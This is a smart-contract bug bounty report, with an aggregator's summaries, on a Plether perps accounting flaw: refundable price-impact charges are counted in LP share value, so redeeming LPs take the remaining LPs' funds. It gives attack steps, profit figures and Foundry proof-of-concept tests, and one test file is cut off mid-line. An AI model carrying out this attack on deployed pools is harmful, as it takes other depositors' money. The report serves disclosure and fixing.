Collected VPI charges counted as LP equity while still refundable let a redeeming LP take other LPs' funds
A positive virtual price impact charge is booked as LP revenue the moment a skew-increasing trade opens, but the charge is refundable to the trader on close, and the pool's net asset value records no liability for that pending refund. An LP who redeems while the position is open therefore leaves with a share of money the remaining LPs must repay, and a trader who is also a junior LP can repeat this to profit at other LPs' expense.
- Disclosed after under an hour
#97670 [SC-Critical] Collected VPI charges counted as LP equity while still refundable let a redeeming LP take other LPs' funds
Submitted on Nov 2nd 2026 at 16:01:53 UTC by @LT3513 for Audit Competition | Plether
- Report ID: #97670
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Theft of unclaimed yield
Description
Brief/Intro
A positive VPI (virtual price impact) charge goes into HousePool as LP revenue as soon as a skew-increasing trade opens. Junior and senior LP deposits and redemptions are priced on that NAV. But the charge is refundable: when the position closes and reverses the skew, the engine pays a rebate back to the trader from pool cash, capped by the lifetime clamp at the charge (and equal to it when the trader reverses its own skew at equal or lower depth). NAV marks no liability for this pending refund. So an LP who redeems while the position is open leaves with its share of money that the LPs who stay (or who join meanwhile) must repay. The mirror case also holds: a rebate paid at open is later clawed back, and the clawback is not in NAV, so an LP who enters after the rebate and leaves after the close captures a share of it.
A trader who is also a junior LP turns this into a repeatable, profitable value transfer at the deployed parameters. In one LP epoch the other junior LPs lose 2,526.06 USDG (0.25 % of their capital, ending below their starting balance) and the attacker nets +706.84 USDG. A timing variant holds the position for only 31 seconds around the epoch boundary (+724.23 / −2,543.45). Through the public Router order path (commitOrder / permissionless executeOrder) the same timing variant, with the position open 41 seconds, nets +724.20 for the attacker and −2,543.45 for the other junior LPs — the Router adds no rule that blocks it; a 1–2 h hold through the Router still nets +247.68 per cycle and compounds across cycles. With no attacker at all, an LP who exits while a large position is open gains +3,194.52 USDG over the same exit made after the close, with depth held flat. The LP who enters in that epoch pays it (−3,191.45).
Vulnerability Details
Pin a82d4fefb02768e5b3bddcc97dee371eee24fea8, packages/perps.
1. At open, the charge becomes LP revenue immediately. src/CfdEngineSettlementSidecar.sol:446-461: after the treasury's execution-fee share, the rest of the trade cost, including the positive VPI, is booked as ClaimantInflowKind.Revenue with CashArrived. The position records the same amount in position.vpiAccrued. Junior NAV is TrancheVault.totalAssets() → HousePool.getPendingTrancheState() (src/TrancheVault.sol:510-513). It contains this revenue at once, and the next hourly epoch (LP_EPOCH_DURATION = 1 hours, src/HousePool.sol:178) settles redemptions and deposits on it.
2. At close, the rebate refunds the charge from pool cash, capped by the lifetime clamp. src/libraries/CloseAccountingLib.sol:103-118:
state.proportionalAccrualAssets =
(inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
if (inputs.poolDepthAssets != 0) {
state.vpiDeltaAssets = CfdMath.calculateVPI(inputs.preSkewAssets, inputs.postSkewAssets, inputs.poolDepthAssets, inputs.vpiFactor);
}
// Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks ...
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}
A trader who reverses its own skew receives the plain curve rebate k·S²/(2·D_close), capped at its lifetime charge. With no intervening skew change, at equal or lower depth, that is exactly the charge; at slightly higher depth it is slightly less (−7,991.15 vs a 7,998.40 charge in the flat-depth test). The refund is contingent, not certain: it is smaller if depth grows or other traders reduce the skew first, it is waived if pool cash is not free, and liquidation computes no fresh VPI. The pool pays it (CfdEngineSettlementSidecar.sol:621-623, payOut then settleAssets), whichever LPs happened to receive the charge.
3. NAV marks no liability for the refund. The symmetric marked NAV (ACCOUNTING_SPEC.md:158-176) is physicalAssets − totalTraderClaimBalanceAssets + terminalLpPriceDeltaAssets. It has no VPI term. SECURITY.md:863: "carry, VPI, fees, frozen spread, and liquidation charges stay outside the pre-close price book". SECURITY.md:871-872: "neither anticipated VPI nor its reserve inflates terminal K or symmetric NAV".
4. The protocol already protects the opposite direction. A negative lifetime VPI (a rebate already received) is backed 1:1 by a non-withdrawable reserve so that LPs cannot withdraw it as marked equity (SECURITY.md:297-298, 866-868; src/MarginClearinghouse.sol negative-lifetime-VPI floor). A positive lifetime VPI (a charge already collected and still refundable) has no counterpart. Σ max(vpiAccrued_i, 0) sits inside the NAV that a redeeming LP is paid.
The NAV design aims at symmetric pricing between LP cohorts. ACCOUNTING_SPEC.md:173: "an entrant receives the same discount for inherited marked liabilities that an exiting LP bears". SECURITY.md:857-858: new LPs "do not inherit old trader obligations at a higher deposit NAV". That symmetry is implemented only for the marked price book. VPI is deliberately left out (SECURITY.md:863, 871-872), so the pending VPI refund is an old trader obligation that an entrant inherits at a higher deposit NAV and an exiting LP escapes. No known limitation (SECURITY.md:1434-1444) lists this transfer between LP cohorts. The protocol does reserve the negative side for exactly this reason (point 4).
Attack (trader who is also a junior LP), deployed parameters (DEPLOYMENT.md:131-155: vpiFactor 0.01e18, maxSkewRatio 0.4e18, executionFeeBps 4, maxSeniorShareBps 8,000):
- Hold junior shares worth A, a fraction f of the junior tranche.
- Request redemption of those shares before the epoch cutoff (
b − 300 s; the cutoff freezes only new LP requests, not trading —ACCOUNTING_SPEC.md:188-229). - About 30 s before the boundary
b, open a position at the skew cap S = 0.4·D. This pays C = k·S²/(2D) into the pool, plus the 4 bps fee. - At
b, callOrderRouter.settleLpEpoch(permissionless) and claim. The redemption is priced on a NAV that includes C, so the attacker receives A + f·C. - Close. The rebate equals C (the attacker's own exit lowered depth, so the clamp binds) and is paid by the LPs who remain.
Net per cycle (no initial skew, no intervening trades): attacker ≈ f·C − 2·fee·S; the other junior LPs ≈ −f·C plus the share of fees the pool keeps. This is profitable when f > 4·fee/(k·r) = 4·0.0004/(0.01·0.4) = 0.40 of the junior tranche. The model matches the measured results to about 12 %. At the 80 % senior cap, junior is 20 % of the pool, so 0.40 of junior is 8 % of total pool capital (more when the senior share is lower). One capital stack repeats about every two hours: re-deposit, then the 1 h DEPOSIT_COOLDOWN (TrancheVault.sol:38) before the next redemption.
No attacker needed (ordinary LP churn). Any LP who redeems while a skew-increasing position is open carries out its share of the refundable charge. The PoC holds depth constant: one LP exits while a new LP enters with slightly more assets in the same epoch, so close depth ≥ open depth and the clamp does not bind. Against a control where the same churn happens after the close, the exiting LP gains +3,194.52 USDG and the entrant loses 3,191.45 USDG. Here the LPs who stay are unaffected and the entrant pays. Without an entrant (third-party trader, one LP exits, close 1 h later), the LP who stays loses 2,589.43.
Mirror leg (same root cause). A skew-reducing open receives a VPI rebate from pool cash (CfdEngineSettlementSidecar.sol:442-443), which lowers NAV. The close claws back the whole rebate into the pool as revenue (:604-616). The clawback is guaranteed by the trader's own locked VPI reserve and the same clamp, yet it is not in NAV. An LP who deposits after the rebate and redeems after the close captures a share of the clawback that the other LPs paid for.
Not the same as the depth-manipulation note in the published scan. The scan report shipped in audits/ ("Temporary pool-liquidity reduction can amplify a skew-reducing close rebate", Info) describes a trader who lowers depth right before its own close so that the rebate exceeds the unmanipulated curve. The transfer here needs no depth change and no excess rebate. In the flat-depth test the clamp does not bind and the rebate is the plain curve value, yet the exiting LP still gains +3,194.52 over the control. In the headline attack the attacker's own exit does lower depth and the clamp binds, but that adds only about 7 USDG: the clamped 7,998.40 against the 7,991.15 curve value at flat depth. The rest is NAV pricing. The defect is that LP share prices treat refundable money as already earned. A commit-time or TWAP depth (the natural fix for the scan item) would leave the flat-depth result unchanged.
Impact Details
The victims are junior LPs who stay in the vault (and LPs who enter while a refundable charge is outstanding). In the PoC they end below their pre-attack balance, not just short of yield (1,000,999.98 → 998,473.92 USDG). Measured with the repository's own harness, no fork. Rows not labeled "Router path" call the engine as the Router through the harness helpers; the three Router-path rows use the public commitOrder/executeOrder with no prank (the 41 s row holds the position only across the epoch boundary; the 1-/2-cycle rows hold it through the 1 h deposit cooldown and the redemption epoch, 1–2 h per cycle). On the 41 s Router-path row the attacker funds 100,000 USDG margin plus the 4,000 USDG opening-bounty reservation taken from free settlement assets at commit (src/router/OrderReservationAccounting.sol:124), released when it executes its own order:
| scenario (deployed params) | attacker / exiting LP | other LPs |
|---|---|---|
| senior 8M, victims 1M junior, attacker 1M junior (f = 0.5), S = 4M | +706.84 | −2,526.06 |
| same, position open only 31 s around the epoch boundary | +724.23 | −2,543.45 |
Router path (commitOrder → permissionless executeOrder one block later, attacker self-executes), position open 41 s around the epoch boundary |
+724.20 | −2,543.45 |
| no senior, f = 0.5, S = 800k | +155.56 | −475.59 |
| below break-even, f = 0.33 | −83.20 | −156.82 |
| no attacker: third party opens S = 4M, an LP exits next epoch, close 1 h later | exiting LP +3,924.30 above deposit (no control in this run; the flat-depth control shows about +730 of that is ordinary fee share) | remaining LP −2,589.43 |
| no attacker, depth held flat (exit + equal entry), clamp not binding | exiter +3,194.52 vs control | entrant −3,191.45 vs control |
Router path (commitOrder/executeOrder), 1 cycle / 2 cycles |
+247.68 / +495.84 | −607.88 / −1,216.24 |
| Router path with 2 bps Pyth confidence | +197.20 | −557.38 |
| mirror leg: rebate at open, LP enters after it | +158.05 | −478.25 (control +0.03) |
At a fixed tranche fraction f, the transfer per cycle grows linearly with pool depth: ≈ f·k·r²·D/2 transferred, ≈ (f − 0.40)·k·r²·D/2 net to the attacker. It needs no privilege and no oracle manipulation. The trader leg can be held for seconds (31 s in the harness timing test, 41 s through the Router), though it still carries price and Pyth-confidence exposure for that time. Victims lose more than the attacker gains (fees to treasury), so the pool is strictly worse off every cycle. There is no insolvency: the funding predicate keeps the open position's maximum liability in the pool, which also caps how much can be redeemed.
Severity: High. This is a repeatable, permissionless transfer of LP funds to an attacker, at the deployed parameters and through ordinary user paths, with the remaining LPs ending below their pre-attack balance. It is bounded per cycle, repeatable about every two hours per capital stack, and scales with pool depth.
References
src/CfdEngineSettlementSidecar.sol:442-461, 604-623— open revenue booking, close clawback revenue, close rebate payoutsrc/libraries/CloseAccountingLib.sol:103-118— lifetime clampsrc/TrancheVault.sol:38, 510-513,src/HousePool.sol:178— deposit cooldown, NAV source, LP epochACCOUNTING_SPEC.md:158-176, 188-229— symmetric NAV, request cutoffSECURITY.md:297-298, 857-858, 863, 866-872, 1434-1444— negative-VPI reserve, symmetric-NAV promise, VPI limitations- https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/libraries/CloseAccountingLib.sol
Recommendation
Treat VPI that is still refundable as a pool liability, and VPI that is still claw-backable as a receivable, until the position realizes it. Keep aggregate counters in the engine, updated wherever vpiAccrued changes (open/increase, partial close, close, liquidation): totalPositiveVpiAccrued and totalNegativeVpiAccrued. Subtract the pending refund from, and add the second (already reserve-backed) to, the distributable value in HousePool's tranche-state computation. Because the refund is contingent (smaller after depth growth or third-party skew reduction, none on liquidation), a tighter bound is min(Σ max(vpiAccrued_i, 0), C(S_now, D_now)), the most the current open interest can be refunded at current depth. Deposits and redemptions then price at a NAV that already includes the refund or clawback, and a close moves NAV only by the realized net VPI. An alternative is to hold VPI charges in a dedicated impact pool that funds rebates and releases only the realized net to LP revenue on close (as GMX v2's position-impact pool does).
Proof of Concept
Proof of Concept
Local Foundry tests against the repository's own harness (test/perps/BasePerpTest.sol) at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. Pyth is mocked, with no fork and no RPC. No source file is modified.
Setup
git clone https://github.com/immunefi-team/audit-comp-plether && cd audit-comp-plether
git checkout a82d4fefb02768e5b3bddcc97dee371eee24fea8 && git submodule update --init --recursive
mkdir -p packages/perps/test/poc/vpi # put the files below in this folder (the full set of six, adding VpiLpExitTiming and the two Router-path PoCs, is attached)
cd packages/perps
forge test --offline --match-path 'test/poc/vpi/*' -vv
Expected with these three files: 7 tests passed, 0 failed (all six files: 11 tests; full output below, including VpiLpExitTiming_RouterPath, the Router-path twin of VpiLpExitTiming with the position open 41 s; its source is in the attached poc/ and in the long PoC). Every test asserts its claim (attacker profit, the other LPs' loss, a full-funded redemption, depth not reduced, and so on).
Parameters are the deployed ones (DEPLOYMENT.md): vpiFactor 0.01e18, maxSkewRatio 0.4e18, executionFeeBps 4, senior 8,000,000 at the 80 % share cap where stated. Two harness differences, neither affecting VPI or NAV: VpiLpExitCapture/VpiLpExitTiming use stricter margin bps (100/150 instead of the deployed 10/20), and the harness oracle's adverseConfidenceMultiplierBps is 2,000 (deployed 2,500). VpiLpExitCapture/VpiLpExitTiming call the engine as the Router through the harness helpers. VpiDepthNeutralChurn, VpiChargeLpExitCapture_RouterPath and VpiRebateClawbackLpEntryCapture go through the public OrderRouter.commitOrder/executeOrder path. All LP actions use the public TrancheVault.requestRedeem/claimRedeem/requestDeposit/claimDeposit and OrderRouter.settleLpEpoch. USDG has 6 decimals (atoms ÷ 1e6 = USDG).
1. test/poc/vpi/VpiLpExitCapture.t.sol — Attacker who is trader + junior LP (no senior; senior at the 80 % cap; below break-even) and the pure-LP form with no attacker
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.35;
import {BasePerpTest} from "../../perps/BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
/// @notice VPI charge captured by an exiting LP, at DEPLOYED parameters (DEPLOYMENT.md: vpiFactor 0.01e18,
/// maxSkewRatio 0.4e18, executionFeeBps 4). Question: does an attacker who is both trader and junior LP
/// walk away with other LPs' money by (1) paying a VPI charge that lands in LP NAV at once, (2) redeeming
/// its LP shares at that NAV, (3) closing and taking the lifetime-clamped rebate from the remaining LPs?
/// Also measured: what the funding predicate lets the attacker LP actually redeem, and the victims' loss.
abstract contract VpiLpExitCaptureBase is BasePerpTest {
address internal constant ATT = address(0xA770011);
address internal constant ATT_LP = address(0xA770012);
address internal constant OTHER_TRADER = address(0xA770013);
uint256 internal constant PRICE = 1e8;
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 100,
initMarginBps: 150,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
/// victims: 1,000,000 USDG of junior capital (BasePerpTest default) + 1,000 seed
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 1_000_000e6;
}
function _netDepth() internal view returns (uint256) {
uint256 gross = pool.totalAssets();
uint256 claims = engine.totalTraderClaimBalanceAssets();
return gross > claims ? gross - claims : 0;
}
function _vpiAccrued(address a) internal view returns (int256 v) {
(,,,,,, v) = engine.positions(a);
}
function _skew(uint256 size) internal pure returns (uint256) {
return (size * PRICE) / CfdMath.ASSETS_TO_TOKEN_SCALE;
}
/// Redeem ALL junior shares of `lp`; returns proceeds and how much of the request the epoch funded.
function _redeemAllJunior(address lp) internal returns (uint256 proceeds, uint256 fundedShares, uint256 shares) {
shares = juniorVault.balanceOf(lp);
uint256 cooldownEnd = juniorVault.lastDepositTime(lp) + juniorVault.DEPOSIT_COOLDOWN();
if (block.timestamp < cooldownEnd) {
vm.warp(cooldownEnd);
}
uint256 balBefore = settlementToken.balanceOf(lp);
vm.prank(lp);
uint256 requestId = juniorVault.requestRedeem(shares, lp, lp);
vm.warp(juniorVault.depositEpochStart(requestId));
router.settleLpEpoch(_mockPythUpdateData(PRICE));
fundedShares = juniorVault.claimableRedeemRequest(requestId, lp);
if (fundedShares > 0) {
vm.prank(lp);
juniorVault.claimRedeem(requestId, fundedShares, lp, lp);
}
proceeds = settlementToken.balanceOf(lp) - balBefore;
}
function _run(uint256 attLp, uint256 size, uint256 margin) internal returns (int256 combined, int256 victimsDelta) {
uint256 victimsBefore = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
_fundJunior(ATT_LP, attLp);
uint256 depth = _netDepth();
_fundTrader(ATT, margin + 1_000e6);
uint256 attStart = _settlementBalance(ATT);
_open(ATT, CfdTypes.Side.LONG, size, margin, PRICE, depth);
int256 openVpi = _vpiAccrued(ATT);
uint256 openFee = (_skew(size) * engine.executionFeeBps()) / 10_000;
uint256 poolAfterOpen = pool.totalAssets();
uint256 t0 = block.timestamp;
(uint256 lpProceeds, uint256 funded, uint256 shares) = _redeemAllJunior(ATT_LP);
uint256 poolAfterRedeem = pool.totalAssets();
uint256 shallow = _netDepth();
ICfdEngineTypes.ClosePreview memory pv = engineLens.previewClose(ATT, size, PRICE);
emit log_named_uint("seconds_held", block.timestamp - t0);
emit log_named_uint("pool_after_open", poolAfterOpen);
emit log_named_uint("pool_after_redeem", poolAfterRedeem);
emit log_named_int("close_vpiDelta_preview", pv.vpiDeltaAssets);
emit log_named_uint("close_fee_preview", pv.executionFeeAssets);
emit log_named_int("close_realizedPnl_preview", pv.realizedPnlAssets);
_close(ATT, CfdTypes.Side.LONG, size, PRICE, shallow);
emit log_named_uint("pool_after_close", pool.totalAssets());
(uint256 sizeAfter,,,,,,) = engine.positions(ATT);
uint256 attEnd = _settlementBalance(ATT) + engine.traderClaimBalanceAssets(ATT);
uint256 victimsAfter = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
emit log_named_uint("depth_at_open", depth);
emit log_named_uint("skew_assets", _skew(size));
emit log_named_int("openVpi_charge", openVpi);
emit log_named_uint("openFee", openFee);
emit log_named_uint("lp_shares", shares);
emit log_named_uint("lp_shares_funded", funded);
emit log_named_uint("lp_deposit", attLp);
emit log_named_uint("lp_proceeds", lpProceeds);
emit log_named_uint("sizeAfter", sizeAfter);
emit log_named_uint("att_trader_start", attStart);
emit log_named_uint("att_trader_end", attEnd);
assertEq(funded, shares, "attacker LP redemption fully funded");
assertEq(sizeAfter, 0, "position fully closed");
combined = int256(attEnd + lpProceeds) - int256(attStart + attLp);
emit log_named_int("ATTACKER_COMBINED_PNL", combined);
emit log_named_uint("victims_before", victimsBefore);
emit log_named_uint("victims_after", victimsAfter);
victimsDelta = int256(victimsAfter) - int256(victimsBefore);
emit log_named_int("VICTIMS_DELTA", victimsDelta);
}
}
/// @notice No senior tranche. Junior victims 1,000,000 (+ seed); skew at the cap 0.4 x depth.
contract VpiLpExitCapture_NoSenior is VpiLpExitCaptureBase {
/// attacker junior 1M (f = 0.5, above the 0.40 break-even): attacker profits, other junior LPs lose.
function test_noSenior_f50_maxSkew() public {
(int256 attacker, int256 victims) = _run(1_000_000e6, 800_000e18, 50_000e6);
assertGt(attacker, 0, "attacker (trader + junior LP) nets a profit");
assertLt(victims, 0, "remaining junior LPs end below their starting value");
}
/// attacker junior 500k (f = 0.33, below break-even): the attack does not pay, but the remaining LPs still lose.
function test_noSenior_f33_belowBreakEven() public {
(int256 attacker, int256 victims) = _run(500_000e6, 600_000e18, 40_000e6);
assertLt(attacker, 0, "below f = 0.40 the attacker loses its fees");
assertLt(victims, 0, "remaining junior LPs still lose");
}
}
/// @notice Same attack with a senior tranche at the deployed 80 % share cap: VPI depth counts senior capital,
/// junior NAV absorbs the VPI charge and the later rebate.
contract VpiLpExitCapture_Senior80 is VpiLpExitCaptureBase {
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 8_000_000e6;
}
/// junior victims 1M, attacker junior 1M, senior 8M → depth ~10M, skew 4M (0.4 x depth)
function test_senior80_f50junior_maxSkew() public {
(int256 attacker, int256 victims) = _run(1_000_000e6, 4_000_000e18, 100_000e6);
assertGt(attacker, 0, "attacker (trader + junior LP) nets a profit");
assertLt(victims, 0, "remaining junior LPs end below their starting value");
}
/// junior victims 1M, attacker junior 250k, senior 8M → depth ~9.25M, skew 3.7M
function test_senior80_f20junior_belowBreakEven() public {
(int256 attacker, int256 victims) = _run(250_000e6, 3_700_000e18, 100_000e6);
assertLt(attacker, 0, "below f = 0.40 the attacker loses its fees");
assertLt(victims, 0, "remaining junior LPs still lose");
}
}
/// @notice Pure-LP form (no attacker): a third party opens at the skew cap, an uninvolved junior LP redeems in
/// the next epoch, the trader closes one hour later (carry accrues). Deployed params, senior 80 %.
contract VpiPureLpExit_Senior80 is VpiLpExitCaptureBase {
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 8_000_000e6;
}
function test_pure_lp_exit_1h_carry() public {
uint256 victimsBefore = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
_fundJunior(ATT_LP, 1_000_000e6); // "exiting LP": uninvolved, f_j = 0.5
uint256 depth = _netDepth();
_fundTrader(OTHER_TRADER, 101_000e6);
uint256 trStart = _settlementBalance(OTHER_TRADER);
_open(OTHER_TRADER, CfdTypes.Side.LONG, 4_000_000e18, 100_000e6, PRICE, depth);
int256 openVpi = _vpiAccrued(OTHER_TRADER);
(uint256 lpProceeds, uint256 funded, uint256 shares) = _redeemAllJunior(ATT_LP);
vm.warp(block.timestamp + 1 hours);
_close(OTHER_TRADER, CfdTypes.Side.LONG, 4_000_000e18, PRICE, _netDepth());
uint256 trEnd = _settlementBalance(OTHER_TRADER) + engine.traderClaimBalanceAssets(OTHER_TRADER);
uint256 victimsAfter = juniorVault.convertToAssets(juniorVault.balanceOf(address(this)));
emit log_named_int("openVpi_charge", openVpi);
emit log_named_uint("lp_shares_funded_of", funded);
emit log_named_uint("lp_shares", shares);
emit log_named_uint("exiting_lp_proceeds_minus_deposit", lpProceeds - 1_000_000e6);
emit log_named_int("third_party_trader_pnl", int256(trEnd) - int256(trStart));
emit log_named_int("REMAINING_LPS_DELTA", int256(victimsAfter) - int256(victimsBefore));
assertEq(funded, shares, "exit fully funded");
assertGt(lpProceeds, 1_000_000e6, "exiting LP leaves with more than its deposit");
assertLt(victimsAfter, victimsBefore, "remaining junior LP ends below its starting value");
}
}
3. test/poc/vpi/VpiDepthNeutralChurn.t.sol — No attacker, depth held flat (exit + larger entry in one epoch), lifetime clamp not binding
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.35;
import {BasePerpTest} from "../../perps/BasePerpTest.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
/// @notice Does the VPI LP-NAV transfer need ANY depth reduction before the close?
/// An honest trader opens a skew-increasing long through the Router. In the next LP epoch one junior LP
/// exits and a new junior LP enters with slightly MORE assets, so pool depth at the close is not lower than
/// at the open and the lifetime clamp does not bind (the close rebate is the plain curve value). No party is
/// an attacker; the entrant pays. Every call is a public entry point (Router commit/execute, TrancheVault request/claim,
/// Router.settleLpEpoch). Deployed parameters (DEPLOYMENT.md: vpiFactor 0.01e18, maxSkewRatio 0.4e18,
/// maint/init 10/20 bps, executionFeeBps 4), senior 8,000,000 at the 80 % share cap.
contract VpiDepthNeutralChurn is BasePerpTest {
address internal constant TRADER = address(0xBEEF_0001);
address internal constant KEEPER = address(0xBEEF_0002);
address internal constant EXITER = address(0xBEEF_0003);
address internal constant ENTRANT = address(0xBEEF_0004);
uint256 internal constant PRICE = 1e8;
uint256 internal constant SIZE = 4_000_000e18;
uint256 internal constant MARGIN = 100_000e6;
uint256 internal constant LP = 1_000_000e6;
uint256 internal constant ENTRY = 1_005_000e6; // > LP + the exiter's expected gain: depth does not fall
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 1_000_000e6;
}
function _initialSeniorDeposit() internal pure override returns (uint256) {
return 8_000_000e6;
}
function _pyth(
uint256 price
) internal returns (bytes[] memory updateData) {
vm.roll(vm.getBlockNumber() + 1);
vm.warp(vm.getBlockTimestamp() + 1);
uint256 publishTime = vm.getBlockTimestamp();
baseMockPyth.setAllUniquePrices(_basePythFeedIds(), int64(int256(price)), 0, int32(-8), publishTime, publishTime - 1);
updateData = new bytes[](1);
updateData[0] = abi.encode(price);
}
function _netDepth() internal view returns (uint256) {
uint256 gross = pool.totalAssets();
uint256 claims = engine.totalTraderClaimBalanceAssets();
return gross > claims ? gross - claims : 0;
}
function _trade(
bool isClose
) internal {
uint64 id = router.nextCommitId();
vm.prank(TRADER);
router.commitOrder(CfdTypes.Side.LONG, SIZE, isClose ? 0 : MARGIN, 0, isClose);
vm.prank(KEEPER);
router.executeOr
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the pool's share pricing treats a refundable virtual price impact charge as realised revenue and records no offsetting liability for the pending refund, so redemptions are priced on inflated equity.
Impact
A repeatable, permissionless transfer of LP funds could occur at the deployed parameters, with remaining junior LPs ending below their pre-attack balance, though the loss is bounded per cycle and the trader leg still carries price and oracle-confidence exposure while open.
What the attacker needed
Junior LP shares above break-even fraction; redemption request before epoch cutoff; position open across epoch boundary
The fix
Refundable VPI should be treated as a pool liability and claw-backable VPI as a receivable in the tranche-state computation, or charges should be held in a dedicated impact pool that releases only the realised net on close.
How it was found
- Hold junior LP shares worth a fraction of the junior tranche.
- Request redemption of those shares before the epoch cutoff.
- Shortly before the epoch boundary, open a position at the skew cap so a charge is paid into the pool.
- At the boundary, settle the LP epoch and claim the redemption, which is priced on a NAV including the charge.
- Close the position so the rebate is paid from pool cash by the LPs who remain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Liquidity providers put money into a pool and get shares whose value is meant to reflect what the pool owns. Here the pool counted a fee as if it were already earned, even though it can later be handed back to the trader who paid it. Someone leaving the pool at that moment takes out more than their fair share, and the people left behind cover the difference.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.